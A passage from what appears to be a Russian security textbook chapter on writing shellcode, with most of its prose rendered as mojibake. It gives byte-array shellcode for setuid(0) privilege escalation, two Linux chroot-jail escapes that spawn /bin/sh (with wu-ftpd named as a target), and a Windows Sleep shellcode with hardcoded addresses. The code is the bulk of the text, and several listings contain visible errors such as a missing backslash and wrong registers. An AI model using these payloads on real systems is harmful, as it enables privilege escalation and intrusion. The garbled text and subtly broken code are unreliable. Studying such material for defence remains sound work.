íóëåé. Â ïðîöåäóðå íàïèñàíèÿ shell-êîäà ñòîëüêî æå îò íàóêè, ñêîëüêî è îò
èñêóññòâà. Â ÿçûêå àññåìáëåðà îäíó è òó æå çàäà÷ó ìîæíî ðåøèòü ìíîæå-
ñòâîì ñïîñîáîâ. Ïðè âûáîðå îäíèõ îïåðàöèé êîä ïîëó÷èòñÿ äëèííåå, ïðè
âûáîðå äðóãèõ êîðî÷å. Îïûòíûå ïðîãðàììèñòû, êîíå÷íî, èñïîëüçóþò ñà-
ìûå êîðîòêèå îïåðàöèè.

Shell3код, выполняющий setuid

×àñòî ïðè àòàêå íà íåêîòîðóþ ïðîãðàììó ñ öåëüþ ïîëó÷èòü ïðàâà ñóïåðïîëü-
çîâàòåëÿ root àòàêóþùèé ïîëó÷àåò euid (äåéñòâóþùèé èäåíòèôèêàòîð ïîëü-
çîâàòåëÿ), ðàâíûé 0, òîãäà êàê íóæíî, ÷òîáû uid áûë ðàâåí 0. Íèæå ïðèâåäåí
íåáîëüøîé shell-êîä, ðåøàþùèé ýòó ïðîáëåìó. Ñíà÷àëà âçãëÿíèòå íà C-êîä,
îáðàùàþùèéñÿ ê ñèñòåìíîìó âûçîâó setuid:

1 int main(void)

2 {

3   setuid(0);

4 }

×òîáû ñäåëàòü òî æå ñàìîå íà àññåìáëåðå, íóæíî çàïèñàòü 0 â ðåãèñòð EBX
è îáðàòèòüñÿ ê ñèñòåìíîìó âûçîâó setuid. Äëÿ Linux ñîîòâåòñòâóþùèé êîä
âûãëÿäèò òàê:

1 .globl main

2
3 main:

4 xorl %ebx, %ebx

5 lea1 0x17(%ebx), %eax

6 int $0x80

Äëÿ ïðèâåäåíèÿ ýòîãî êîäà ê âèäó, ïîäõîäÿùåìó äëÿ âñòàâêè â ýêñïëîéò,
âîñïîëüçóåìñÿ îòëàä÷èêîì GDB:

1 const char setuid[] =

2   "\x31\xdb" /* xorl %ebx, %ebdx */

3   "\x8d\x43\x17" /* lea1 0x17(%ebx), %eax */

4   "\xcd\x80" /* int $0x80 */

Внедрение shell�кода в локальную программу
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Shell3код, выполняющий chroot

Íåêîòîðûì ïðèëîæåíèÿì âî âðåìÿ âûïîëíåíèÿ çàïðåùåíî âûõîäèòü çà
ïðåäåëû ÷àñòè ôàéëîâîé ñèñòåìû, íà÷èíàþùåéñÿ ñ îïðåäåëåííîãî êàòàëîãà,
çàäàâàåìîãî àäìèíèñòðàòîðîì ñ ïîìîùüþ ñèñòåìíîãî âûçîâà chroot. Íà æàð-
ãîíå ýòî íàçûâàþò «chroot jail» (chroot-òþðüìà). Ïðè àòàêå íà òàêóþ ïðî-
ãðàììó íåîáõîäèì ñïîñîá âûðâàòüñÿ èç ýòîé òþðüìû åùå äî çàïóñêà èíòåð-
ïðåòàòîðà, ïîñêîëüêó â ïðîòèâíîì ñëó÷àå ôàéë «/bin/sh» ïðîñòî íå áóäåò
íàéäåí. Â ýòîì ðàçäåëå ìû ïîêàæåì äâà ñïîñîáà âûðâàòüñÿ èç chroot-òþðüìû
â ñèñòåìå Linux. Â ïîñëåäíèõ âåðñèÿõ ÿäðà íåêîòîðûå îøèáêè â ñèñòåìíîì
âûçîâå chroot áûëè èñïðàâëåíû, íî ìû âñå-òàêè íàøëè ñïîñîá «âûáðàòüñÿ íà
ñâîáîäó», ðàáîòàþùèé è â ýòèõ âåðñèÿõ.

Ñíà÷àëà îáúÿñíèì òðàäèöèîííûé ñïîñîá, èçäàâíà ïðèìåíÿâøèéñÿ äëÿ îñ-
âîáîæäåíèÿ èç chroot-òþðüìû â Linux. Íóæíî ñîçäàòü âíóòðè òþðüìû êàòà-
ëîã, âûïîëíèòü chroot, óêàçàâ ïóòü ê ýòîìó êàòàëîãó â êà÷åñòâå ïàðàìåòðà,
à çàòåì ïîïûòàòüñÿ âûïîëíèòü ñèñòåìíûé âûçîâ chdir, çàäàâ ïóòü «../../../../../../
../..». Ýòîò ìåòîä ðàáîòàë â ðàííèõ âåðñèÿõ ÿäðà Linux è â íåêîòîðûõ äðóãèõ
îïåðàöèîííûõ ñèñòåìàõ. Âîò êàê âûãëÿäèò ñîîòâåòñòâóþùèé êîä íà C:

1 int main(void)

2 {

3   mkdir("A");

4   chdir("A");

5   chroot("..//..//..//..//..//..//..//..//");

6   system("/bin/sh");

7 }

Â ýòîé ïðîãðàììå ìû ñîçäàåì êàòàëîã (ñòðîêà 3), çàòåì ïåðåõîäèì â íåãî
(ñòðîêà 4) è èçìåíÿåì êîðíåâîé êàòàëîã òåêóùåé îáîëî÷êè íà ../../../../../../../../
(ñòðîêà 5). Ïîñëå ïðåîáðàçîâàíèÿ â àññåìáëåðíûé êîä äëÿ Linux ïîëó÷àåì:

 1 .globl main

 2
 3 main:

 4 xorl %esx, %edx

 5
 6 /*

 7  * mkdir("A");

 8  */

 9
10 pushl %edx

11 push $0x41

12
13 movl %esp, %ebx
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14 movw $0x01ed, %cx

15
16 leal 0x27(%edx), %eax

17 int $0x80

18
19 /*

20  * chdir("A");

21  */

22
23 leal 0x3d(%edx), %eax

24 int $0x80

25
26 /*

27  * chroot("..//..//..//..//..//..//..//..//");

28  */

29
30 xorl %esi, %esi

31 pushl %edx

32
33 loop:

34 pushl $0x2f2f2e2e

35
36 incl %esi

37
38 cmpl $0x10, %esi

39 jl loop

40
41 movl %esp, %ebx

42
43
44 leal 0x3d(%edx), %eax

45 int $0x80

Ýòî íå ÷òî èíîå, êàê ïîêàçàííûé âûøå C-êîä, ïåðåïèñàííûé íà àññåìáëå-
ðå è îïòèìèçèðîâàííûé äëÿ óìåíüøåíèÿ äëèíû è óñòðàíåíèÿ íóëåâûõ áàé-
òîâ. Â âèäå, ïðèãîäíîì äëÿ âñòàâêè â ýêñïëîéò, ýòîò êîä âûãëÿäèò òàê:

 1 const char chroot[] =

 2   "\x31\xd2" /* xorl %esx, %edx */

 3   "\x52" /* pushl %edx */

 4   "\x6a\x41" /* push $0x41 */

 5   "\x89\xe3" /* movl %esp, %ebx */

 6   "\x66\xb9\xed\x01" /* movw $0x01ed, %cx */

 7   "x8d\x42\x3d" /* leal 0x27(%edx), %eax */

 8   "\xcd\x80" /* int $0x80 */

 9   "\x8d\x42\x3d" /* leal 0x3d(%edx), %eax */

10   "\xcd\x80" /* int $0x80 */

11   "\x31\xf6" /* xorl %esi, %esi */

Внедрение shell�кода в локальную программу



422 Глава 8. Написание shell�кода I

12   "\x52" /* pushl %edx */

13   "\x68\x2e\x2e\x2f\x2f" /* pushl $0x2f2f2e2e */

14   "\x46" /* incl %esi */

15   "\x83\xfe\x10" /* cmpl $0x10, %esi */

16   "\x7c\xf5" /* jl <loop> */

17   "\x89\xe3" /* movl %esp, %ebx */

18   "\x8d\x42\x3d" /* leal 0x3d(%edx), %eax */

19   "\xcd\x80" /* int $0x80 */

20   "\x52" /* pushl %edx */

21   "\x6a\x41" /* push $0x41 */

22   "\x89\xe3" /* movl %esp, %ebx */

23   "\x8d\x42\x28" /* leal 0x28(%edx), %eax */

24   "\xcd\x80" /* int $0x80 */

Äëèíà ýòîãî shell-êîäà ñîñòàâëÿåò 52 áàéòà. Ïðèìåíÿòüñÿ îí ìîæåò, íàïðè-
ìåð, äëÿ àòàêè íà óÿçâèìîñòü â FTP-ñåðâåðå wu-ftpd, ñâÿçàííóþ ñ çàòèðàíèåì
ïàìÿòè â êó÷å.

Ïðîãðàììèñòû, ðàçðàáàòûâàþùèå ÿäðî Linux, ïîïûòàëèñü èñïðàâèòü ýòó
îøèáêó. Íî åñòü ñïîñîá áåç òðóäà âûðâàòüñÿ èç chroot-òþðüìû è â ïîñëåäíèõ
âåðñèÿõ Linux. Äëÿ ýòîãî íóæíî â ñàìîé òþðüìå ñîçäàòü êàêîé-íèáóäü êàòà-
ëîã. Çàòåì âûïîëíèòü chroot, óêàçàâ ýòîò êàòàëîã â êà÷åñòâå àðãóìåíòà. Ïîñëå
ýòîãî íóæíî âûïîëíèòü 1024 ïîïûòêè ïåðåéòè â êàòàëîã «../.». Íà êàæäîé
èòåðàöèè ñëåäóåò âûïîëíèòü ñèñòåìíûé âûçîâ stat() äëÿ òåêóùåãî êàòàëîãà «./»
è, åñëè èíäåêñíûé óçåë (inode) ýòîãî êàòàëîãà ðàâåí 2, òî íóæíî åùå ðàç âû-
ïîëíèòü chroot äëÿ êàòàëîãà «./», à çàòåì óæå âûçâàòü èíòåðïðåòàòîð êîìàíä.
Íà ÿçûêå C ýòîò êîä âûãëÿäèò ñëåäóþùèì îáðàçîì:

 1 int main(void)

 2 {

 3   int i

 4   struct stat sb;

 5
 6   mkdir("A", 0755);

 7   chroot("A");

 8
 9   for(i = 0; i < 1024; i++) {

10     puts("HERE");

11     memset(&sb, 0, sizeof(sb));

12
13     chdir("..");

14
15     stat(".", &sb);

16
17     if(sb.st_ino == 2) {

18       chroot(".");

19       system("/bin/sh");
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20       exit(0);
21     }

22   }

23   puts("íå ïîëó÷èëîñü");

24 }

Ýêâèâàëåíòíûé êîä íà ÿçûêå àññåìáëåðà âûãëÿäèò òàê:

 1 .globl main

 2
 3 main:

 4 xorl %edx, %edx

 5
 6 pushl %edx

 7 pushl $0x2e2e2e2e

 8
 9 movl %esp, %ebx

10 movw $0x01ed, $cx

11
12 leal 0x27(%edx), %eax

13 int $0x80

14
15 leal 61(%edx), %eax

16 int $0x80

17
18 xorl %esi, %esi

19
20 loop:

21 pushl %edx

22 pushw $0x2e2e

23 movl %esp, %ebx

24
25 leal 12(%edx), %eax

26 int $0x80

27
28 pushl %edx

29 push $0x2e

30 movl %esp, %ebx

31
32 subl $88, %esp

33 movl %esp, %ebx

34
35 leal 106(%edx), %eax

36 int $0x80

37
38 movl 0x4(%ecx), %edi

39 cmpl $0x2, %edi

40 je hacked

Внедрение shell�кода в локальную программу



424 Глава 8. Написание shell�кода I

41
42 incl %esi

43 cmpl $0x64, %esi

44 jl loop

45
46 hacked:

47 pushl %edx

48 push $0x2e

49 movl %esp, %ebx

50
51 leal 61(%edx), %eax

52 int $0x80

È, íàêîíåö, âîò ïðåäñòàâëåíèå ýòîãî shell-êîäà â âèäå ìàññèâà áàéòîâ:

 1 const char new_chroot[] = {

 2   "\x31\xd2" /* xorl %esx, %edx

 3   "\x52" /* pushl %edx */

 4   "\x68\x2e\x2e\x2e\x2e" /* pushl $0x2e2e2e2e */

 5   "\x89\xe3" /* movl %esp, %ebx */

 6   "\x66\xb9\xed\x01" /* movw $0x01ed, $cx */

 7   "\x8d\x42\x27" /* leal 0x27(%edx), %eax */

 8   "\xcd\x80" /* int $0x80 */

 9   "\x8d\x42\x3d" /* leal 0x3d(%edx), %eax */

10   "\xcd\x80" /* int $0x80 */

11   "\x31\xf6" /* xorl %esi, %esi */

12   "\x52" /* pushl %edx */

13   "\x66\x68\x2e\x2e" /* pushw $0x2e2e */

14   "\x89\xe3" /* movl %esp, %ebx */

15   "\x8d\x42\x0c" /* leal 0xc(%edx), %eax */

16   "\xcd\x80" /* int $0x80 */

17   "\x52" /* pushl %edx */

18   "\x6a\x2e" /* push $0x2e */

19   "\x89\xe3" /* movl %esp, %ebx */

20   "x83\xec\x58" /* subl $88, %esp */

21   "\x89\xe3" /* movl %esp, %ebx */

22   "\x8d\x42\x6a" /* leal 0x6a(%edx), %eax */

23   "\xcd\x80" /* int $0x80 */

24   "\x8b\x79\x04" /* movl 0x4(%ecx), %edi */

25   "\x83\xff\x02" /* cmpl $0x2, %edi */

26   "\x74\x06" /* je <hacked> */

27   "\x46" /* incl %esi */

28   "\x83\xfe\x64" /* cmpl $0x64, %esi */

29   "\x7c\xd7" /* jl <loop> */

30   "\x52" /* pushl %edx */

31   "\x6a\x2e" /* push $0x2e */

32   "\x89\xe3" /* movl %esp, %ebx */

33   "\x8d\x42\x3d" /* leal 0x3d(%edx), %eax */

34   "\xcd\x80" /* int $0x80 */
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Написание shell3кода для Windows

Shell-êîä – ýòî íåîòúåìëåìàÿ ÷àñòü ëþáîãî ýêñïëîéòà. Äëÿ àòàêè íà óÿçâè-
ìóþ ïðîãðàììó íàì îáû÷íî íóæíî çíàòü àäðåñ ôóíêöèè, â êîòîðîé èìååòñÿ
îøèáêà, ÷èñëî áàéòîâ, êîòîðûå íóæíî çàòåðåòü, ÷òîáû ïîëó÷èòü êîíòðîëü
íàä ñ÷åò÷èêîì êîìàíä EIP, ìåòîä çàãðóçêè shell-êîäà è, íàêîíåö, àäðåñ íàøåãî
shell-êîäà.

Shell-êîä ìîæåò äåëàòü âñå, ÷òî óãîäíî: îò îæèäàíèÿ ñîåäèíåíèÿ ñ ïðîãðàì-
ìîé netcat äî âûâîäà îêíà ñîîáùåíèÿ. Â ýòîì ðàçäåëå ìû ïîäðîáíåå ðàññìîò-
ðèì ìåòîäû ñîñòàâëåíèÿ shell-êîäà äëÿ îïåðàöèîííîé ñèñòåìû Windows. Íè-
÷åãî, êðîìå Visual Studio, íàì íå ïîòðåáóåòñÿ.

Íàøà ñëåäóþùàÿ ïðîãðàììà ïðîñòî áóäåò «ñïàòü» â òå÷åíèå 99999999 ñå-
êóíä. Íà C++ åå êîä âûãëÿäèò òàê:

1 // sleep.cpp : îïðåäåëÿåì òî÷êó âõîäà äëÿ êîíñîëüíîãî ïðèëîæåíèÿ

2 #include "stdafx.h"

3 #include <windows.h>

4
5 void main()

6 {

7   Sleep(99999999);

8 }

Äëÿ íàïèñàíèÿ ýêâèâàëåíòíîãî àññåìáëåðíîãî êîäà ïðîéäåì ïî êîäó â ïî-
øàãîâîì ðåæèìå, òîëüêî â îêíå äèçàññåìáëåðà. Ïîñëå äâóõ íàæàòèé íà êëà-
âèøó F10F10F10F10F10 â Visual Studio ìû îêàæåìñÿ íà ñòðîêå 7, ãäå âûçûâàåòñÿ ôóíêöèÿ
Sleep(). Â ýòîò ìîìåíò ïåðåéäåì ê äèçàññåìáëèðîâàííîìó ïðåäñòàâëåíèþ
êîäà, íàæàâ êîìáèíàöèþ êëàâèø Alt + 8Alt + 8Alt + 8Alt + 8Alt + 8. Äîëæåí ïîÿâèòüñÿ òàêîé êîä:

 1 4:    #include "stdafx.h"

 2 5:    #include <windows.h>

 3 6:

 4 7:    void main()

 5 8:    {

 6 0040B4B0 push ebp

 7 0040B4B1 mov ebp,esp

 8 0040B4B3 sub esp,40h

 9 0040B4B6 push ebx

10 0040B4B7 push esi

11 0040B4B8 push edi

12 0040B4B9 lea edi,[ebp-40h]

13 0040B4BC mov ecx,10h

14 0040B4C1 mov eax,0CCCCCCCCh

15 0040B4C6 rep stos dword ptr [edi]

16 9:      Sleep(99999999);

Внедрение shell�кода в локальную программу
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17 0040B4C8 mov esi,esp

18 0040B4CA push 5F5E0FFh

19 0040B4CF call dword ptr [KERNEL32_NULL_THUNK_DATA (004241f8)]

20 0040B4D5 cmp esi,esp

21 0040B4D7 call __chkesp (00401060)

22 10:    }

23 0040B4DC pop edi

24 0040B4DD pop esi

25 0040B4DE pop ebx

26 0040B4DF add esp, 40h

27 0040B4E2 cmp ebp, esp

28 0040B4E4 call __chkesp (00401060)

29 0040B4E9 mov esp, ebp

30 0040B4EB pop ebp

31 0040B4EC ret

Äëÿ íàñ ïðåäñòàâëÿþò èíòåðåñ ñòðîêè 16–19. Âåñü îñòàëüíîé êîä ê ýêñïëîé-
òó ïðÿìîãî îòíîøåíèÿ íå èìååò. Äî ñòðîêè 16 èäåò òàê íàçûâàåìûé «ïðî-
ëîã» ôóíêöèè, à ïîñëå ñòðîêè 23 – «ýïèëîã».

Ñòðîêà 16 ñîäåðæèò âûçîâ ôóíêöèè Sleep() íà C++, ïîêà ÷òî íå áóäåì îáðà-
ùàòü íà íåå âíèìàíèÿ. Â ñòðîêå 17 ñîäåðæèìîå ðåãèñòðà ESP êîïèðóåòñÿ â ESI,
à â ñòðîêå 18 â ñòåê ïîìåùàåòñÿ çíà÷åíèå 5F5E0FFh – øåñòíàäöàòåðè÷íûé
ýêâèâàëåíò 99999999. Íàêîíåö, â ñòðîêå 19 âûçûâàåòñÿ ôóíêöèÿ Sleep() èç
áèáëèîòåêè kernel32.dll.

1 17 0040B4C8 mov esi,esp

2 18 0040B4CA push 5F5E0FFh

3 19 0040B4CF call dword ptr [KERNEL32_NULL_THUNK_DATA (004241f8)]

Ñìûñë ýòîãî êîäà â òîì, ÷òî ïàðàìåòð 99999999 ïîìåùàåòñÿ â ñòåê, ïîñëå
÷åãî âûçûâàåòñÿ ôóíêöèÿ. Ïåðåïèøåì ýòîò êîä èíà÷å:

1 push 99999999

2 mov eax, 0x77E61BE6

3 call eax

Â ñòðîêå 1 çíà÷åíèå 99999999 ïîìåùàåòñÿ â ñòåê, â ñòðîêå 2 â ðåãèñòð EAX
çàíîñèòñÿ íåêîòîðûé àäðåñ, à â ñòðîêå 3 âûçûâàåòñÿ ôóíêöèÿ ïî àäðåñó, íàõî-
äÿùåìóñÿ â EAX. Ïî àäðåñó 0x77E61BE6 êàê ðàç è íàõîäèòñÿ ôóíêöèÿ Sleep()
â ñèñòåìå Windows XP (áåç ïàêåòîâ îáíîâëåíèé (Service Packs)). ×òîáû âûÿñ-
íèòü ìåñòîíàõîæäåíèå ýòîé ôóíêöèè, îáðàòèìñÿ ê óòèëèòå dumpbin, çàïóñ-
òèâ åå äëÿ áèáëèîòåêè kernel32.dll. Ýòî ïðèäåòñÿ ñäåëàòü äâàæäû ñ ðàçíûìè
ôëàãàìè: dumpbin /all kernel32.dll è dumpbin /exports kernel32.dll.

Ôëàã /all ïîêàæåò íàì àäðåñ íà÷àëà îáðàçà kernel32.dll â ïàìÿòè. Â Windows
XP (áåç ïàêåòîâ îáíîâëåíèé) ýòà áèáëèîòåêà çàãðóæàåòñÿ ñ àäðåñà 0x77E60000.
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C:\WINDOWS\system32>dumpbin /all kernel32.dll
Microsoft (R) COFF Binary File Dumper Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Dump of file kernel32.dll
PE signature found
File Type: DLL
FILE HEADER VALUES
         14C machine (i386)
           4 number of sections
    3B7DFE0E time date stamp Fri Aug 17 22:33:02 2001
           0 file pointer to symbol table
           0 number of symbols
          E0 size of optional header
        210E characteristics
               Executable
               Line numbers stripped
               Symbols stripped
               32 bit word machine
               DLL

OPTIONAL HEADER VALUES
         10B magic #
        7.00 linker version
       74800 size of code
       6DE00 size of initialized data
           0 size of uninitialized data
       1A241 RVA of entry point
        1000 base of code
       71000 base of data
    77E60000 image base
        1000 section alignment
         200 file alignment
        5.01 operating system version
        5.01 image version

C:\WINDOWS\system32>dumpbin /exports kernel32.dll
C:\WINDOWS\system32>dumpbin /all kernel32.dll
Microsoft (R) COFF Binary File Dumper Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Dump of file kernel32.dll
PE signature found
File Type: DLL
  Section contains the following exports for KERNEL32.DLL
           0 characteristics
    3B7DDFD8 time date stamp Fri Aug 17 20:24:08 2001
        0.00 version
           1 ordinal base
         928 number of functions
         928 number of namespace

  ordinal hint RVA       namespace

1      0 00012ADA ActivateActCtx
2      1 000082C2 AddAtomA
...
...
800  31F 0005D843 SetVDMCurrentDirectories

Внедрение shell�кода в локальную программу
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801  320 000582DC SetVolumeLabelA
802  321 00057FBD SetVolumeLabelW
803  322 0005FBA2 SetVolumeMountPointA
804  323 0005EFF4 SetVolumeMountPointW
805  324 00039959 SetWaitableTimer
806  325 0005BC0C SetupComm
807  326 00066745 ShowConsoleCursor
808  327 00058E09 SignalObjectAndWait
809  328 0001105F SizeOfResource
810  329 00001BE6 Sleep
811  32A 00017562 SleepEx
812  32B 00038BD8 SuspendThread
813  32C 00039607 SwitchToFiber
814  32D 0000D52C SwitchToThread
815  32E 00017C4C SystemTimeToFileTime
816  32F 00052E72 SystemTimeToTxSpecificLocalTime

Ñ ïîìîùüþ ôëàãà /exports ìû íàéäåì ñìåùåíèå ôóíêöèè Sleep îò íà÷àëà
îáðàçà kernel32.dll. Â Windows XP áåç ïàêåòîâ îáíîâëåíèé îíà íàõîäèòñÿ ïî àä-
ðåñó 0x00001BE6.

Òàêèì îáðàçîì, ôàêòè÷åñêèé àäðåñ ôóíêöèè Sleep â ïàìÿòè ðàâåí àäðåñó
íà÷àëà îáðàçà ïëþñ ñìåùåíèå (0x77E60000 + 0x00001BE6 = 0x77E61BE6).
Â ïðèìåðå ìû ïðåäïîëàãàåì, ÷òî ïðîãðàììà sleep.exe çàãðóæàåò áèáëèîòåêó
kernel32.dll. ×òîáû óáåäèòüñÿ â òîì, ÷òî áèáëèîòåêà äåéñòâèòåëüíî çàãðóæà-
åòñÿ, ñíîâà âîñïîëüçóåìñÿ Visual Studio. Âûïîëíÿÿ ïðîãðàììó â ïîøàãîâîì
ðåæèìå, áóäåì ñìîòðåòü íà ñïèñîê çàãðóæåííûõ ìîäóëåé. Äëÿ ýòîãî íóæíî
âûáðàòü èç ìåíþ DebugDebugDebugDebugDebug ïóíêò ModulesModulesModulesModulesModules. Â ðåçóëüòàòå ìû óâèäèì îêíî, â êîòî-
ðîì ïîêàçàí ñïèñîê ìîäóëåé, çàãðóæåííûõ ïðîãðàììîé sleep.exe, â òîì ïîðÿä-
êå, â êàêîì îíè çàãðóæàëèñü. Ðèñ. 8.1 åùå ðàç ïîäòâåðæäàåò, ÷òî íà÷àëüíûé
àäðåñ kernål32.dll èìåííî òîò, ÷òî ìû îïðåäåëèëè ðàíåå.

Рис. 8.1. Рис. 8.1. Рис. 8.1. Рис. 8.1. Рис. 8.1. Список модулей
с указанием начальных адресов
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Ðàçîáðàâøèñü â òîì, êàê âû÷èñëÿòü àäðåñ èíòåðåñóþùåé íàñ ôóíêöèè, ïî-
ïðîáóåì âûïîëíèòü àññåìáëåðíûé êîä. Äëÿ ýòîãî ñîçäàäèì åùå îäíó ïðî-
ãðàììó íà C++: sleepasm.cpp.

 1 // sleepasm.cpp : îïðåäåëÿåì òî÷êó âõîäà äëÿ êîíñîëüíîãî ïðèëîæåíèÿ
 2 //
 3
 4 #include "stdafx.h"
 5 #include <windows.h>
 6
 7 void main()
 8 {
 9   __asm
10   {
11
12     push 99999999
13     mov eax, 0x77E61BE6
14     call eax
15   }
16 }

Èìåÿ ðàáîòàþùèå àññåìáëåðíûå êîìàíäû, íóæíî ïîëó÷èòü èõ ìàøèííîå
ïðåäñòàâëåíèå (ñì. ðèñ. 8.2). Äëÿ ýòîãî ïåðåéäåì â îêíî äèçàññåìáëåðà â ðå-

Внедрение shell�кода в локальную программу

Рис. 8.2. Рис. 8.2. Рис. 8.2. Рис. 8.2. Рис. 8.2. Машинные команды, соответствующие ассемблерному коду
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æèìå ïîøàãîâîãî âûïîëíåíèÿ ïðîãðàììû è ùåëêíåì ïðàâîé êíîïêîé
ìûøè. Èç êîíòåêñòíîãî ìåíþ âûáåðåì ïóíêò Code BytesCode BytesCode BytesCode BytesCode Bytes (Áàéòû êîäà).
Â ýòîì ðåæèìå Visual Studio ïîêàçûâàåò ìàøèííûå êîìàíäû.

Â òàáëèöå 8.1 ïîêàçàíû ìàøèííûå êîìàíäû, ñîîòâåòñòâóþùèå àññåìáëåð-
íîé ïðîãðàììå.

Таблица 8.1. Соответствие машинных и ассемблерных команд

Адрес Машинная команда Ассемблерная команда

0040B4C8 68 FF E0 F5 05 push 5F5E0FFh
0040B4CD B8 E6 1B E6 77 mov eax,77E61BE6h
0040B4D2 FF D0 call eax

Ïîëó÷èâ ìàøèííûå êîìàíäû, ïðîâåðèì, ÷òî îíè ðàáîòàþò. Äëÿ ýòîãî íà-
ïèøåì ñëåäóþùóþ ïðîãðàììó íà C:

 1 // sleepop.c

 2
 3 #include <windows.h>

 4
 5 char shellcode[] = "\x68\xFF\xE0\xF5\x05\xB8\xE6\x1B\xE6\x77\xFF\xD0";

 6
 7 void (*opcode) ();

 8 void main()

 9 {

10   opcode = &shellcode;

11   opcode();

12 }
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Резюме
ßçûê àññåìáëåðà – ýòî êëþ÷ ê ñîçäàíèþ ýôôåêòèâíîãî shell-êîäà. Ïðè êîì-
ïèëÿöèè ïðîãðàììû, íàïèñàííîé íà C, ãåíåðèðóåòñÿ êîä, ñîäåðæàùèé ìíîãî
«ìóñîðà», êîòîðûé â shell-êîäå íè ê ÷åìó. Åñëè æå ïðîãðàììà íàïèñàíà íà àñ-
ñåìáëåðå, òî îíà òðàíñëèðóåòñÿ èìåííî â òå ìàøèííûå êîìàíäû, êîòîðûå
íàì íåîáõîäèìû.

Âûáîð ïðàâèëüíîãî shell-êîäà î÷åíü âàæåí, ïîñêîëüêó îò ýòîãî çàâèñèò,
ñóìååò ëè ñèñòåìà îáíàðóæåíèÿ è ïðåäîòâðàùåíèÿ âòîðæåíèé (IDS/IPS –
intrusion detection system / intrusion prevention system), óñòàíîâëåííàÿ â ñåòè
èëè íà êîìïüþòåðå-æåðòâå, ðàñïîçíàòü ôàêò àòàêè.

Äàííûå, ïîìåùàåìûå â ñòåê, ìîãóò îêàçàòüñÿ äëèííåå âûäåëåííîé äëÿ íèõ
îáëàñòè è â ðåçóëüòàòå çàòåðåòü çíà÷åíèå â ðåãèñòðå EIP, ÷òî ïðèâåäåò ê èç-
ìåíåíèþ ïóòè âûïîëíåíèÿ ïðîãðàììû. Åñëè óäàñòñÿ çàïèñàòü â EIP àäðåñ ïî-
ëåçíîé íàãðóçêè, ïîñëàííîé õîñòó, òî ìû ñìîæåì âûïîëíèòü ñîáñòâåííûå
êîìàíäû (shell-êîä). Óÿçâèìîñòè, âûçâàííûå ïåðåïîëíåíèåì áóôåðà, íà
ïðàêòèêå âñòðå÷àþòñÿ ÷àùå âñåãî. Õîòÿ ñåé÷àñ îíè óæå íå òàê ðàñïðîñòðàíå-
íû, âñå æå ýòà áåäà åùå íå èçæèòà ïîëíîñòüþ.

Ðàçîáðàâøèñü â òîì, ÷òî òàêîå ïåðåïîëíåíèå ñòåêà è êàê èñïîëüçîâàòü
ïîäîáíûå óÿçâèìîñòè, ìîæíî ïðèñòóïàòü ê îçíàêîìëåíèþ ñ îïóáëèêîâàí-
íûìè îò÷åòàìè îá óÿçâèìîñòÿõ è ê íàïèñàíèþ ýêñïëîéòîâ äëÿ íèõ. Öåëü
ëþáîãî ýêñïëîéòà äëÿ Windows – ïåðåõâàòèòü óïðàâëåíèå ðåãèñòðîì EIP
(ñ÷åò÷èêîì êîìàíä) è çàïèñàòü â íåãî àäðåñ îòïðàâëåííîãî shell-êîäà, êî-
òîðûé âûïîëíèò òó èëè èíóþ ïðîãðàììó â ñèñòåìå. ×òîáû èçáåæàòü ïîÿâ-
ëåíèÿ íóëåâûõ áàéòîâ, ìîæíî ïðèìåíÿòü ðàçëè÷íûå ïðèåìû, íàïðèìåð,
èñïîëüçîâàòü êîìàíäó XOR èëè ïåðåñòàíîâêó áèòîâ. ×òîáû çàñòàâèòü êîä
ðàáîòàòü â ðàçíûõ âåðñèÿõ îïåðàöèîííîé ñèñòåìû, ìîæíî óñòàíîâèòü îá-
ðàáîò÷èê èñêëþ÷åíèé, êîòîðûé áóäåò àâòîìàòè÷åñêè îïðåäåëÿòü âåðñèþ è
âîçâðàùàòü ïîäõîäÿùèé shell-êîä. Âîçìîæíîñòü ðàáîòû íà íåñêîëüêèõ
ïëàòôîðìàõ íàìíîãî ïåðåâåøèâàåò íåóäîáñòâà, ñâÿçàííûå ñ äîïîëíèòåëü-
íîé äëèíîé êîäà.

Обзор изложенного материала
×òî òàêîå shell-êîä?×òî òàêîå shell-êîä?×òî òàêîå shell-êîä?×òî òàêîå shell-êîä?×òî òàêîå shell-êîä?

� Shell-êîä ïèøåòñÿ äëÿ êàæäîé êîìáèíàöèè àïïàðàòíîé ïëàòôîðìû è
îïåðàöèîííîé ñèñòåìû. Ñóùåñòâóåò ìíîæåñòâî îáðàçöîâ shell-êîäà äëÿ
ïëàòôîðì Wintel, Solaris íà ïðîöåññîðàõ SPARC è x86, à òàêæå äëÿ ðàç-
íûõ âåðñèé Linux.

Обзор изложенного материала
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� Èìåþòñÿ ðàçíîîáðàçíûå èíñòðóìåíòû, ïðåäíàçíà÷åííûå äëÿ ãåíåðà-
öèè è àíàëèçà shell-êîäà. Ê ÷èñëó ëó÷øèõ îòíîñÿòñÿ nasm, gdb, objdump,
ktrace, strace è readelf.

� Ïðè ïîëíîìàñøòàáíîì òåñòèðîâàíèè ñèñòåìû íà âîçìîæíîñòü ïðî-
íèêíîâåíèÿ shell-êîä îáÿçàòåëüíî äîëæåí áûòü íàïèñàí ïðàâèëüíî è
ðàáîòàòü íàäåæíî. Ïðîñòîå ñêàíèðîâàíèå íà ïðåäìåò íàëè÷èÿ óÿçâè-
ìîñòåé íå äîñòèãíåò öåëè, åñëè íå áóäåò ñîïðîâîæäàòüñÿ ïðîâåðêîé
âîçìîæíîñòè àòàêè íà îáíàðóæåííûå óÿçâèìîñòè.

Ïðîáëåìà àäðåñàöèèÏðîáëåìà àäðåñàöèèÏðîáëåìà àäðåñàöèèÏðîáëåìà àäðåñàöèèÏðîáëåìà àäðåñàöèè
� Ñòàòè÷åñêàÿ àäðåñàöèÿ ïàìÿòè â shell-êîäå íå âñåãäà âîçìîæíà, òàê êàê

àäðåñà ìåíÿþòñÿ â çàâèñèìîñòè îò êîíôèãóðàöèè ñèñòåìû.
� Â ÿçûêå àññåìáëåðà êîìàíäû call è jmp ðàçëè÷àþòñÿ. Êîìàíäà call ïîìå-

ùàåò â ñòåê òåêóùèé ñ÷åò÷èê êîìàíä (ðåãèñòð EIP), à çàòåì ïåðåõîäèò
ïî óêàçàííîìó â åå îïåðàíäå àäðåñó.

� Àññåìáëåðíûé êîä çàâèñèò îò ìàøèííîé àðõèòåêòóðû, ïîýòîìó ïåðåíî-
ñèòü shell-êîä íà äðóãóþ ïëàòôîðìó òðóäíî.

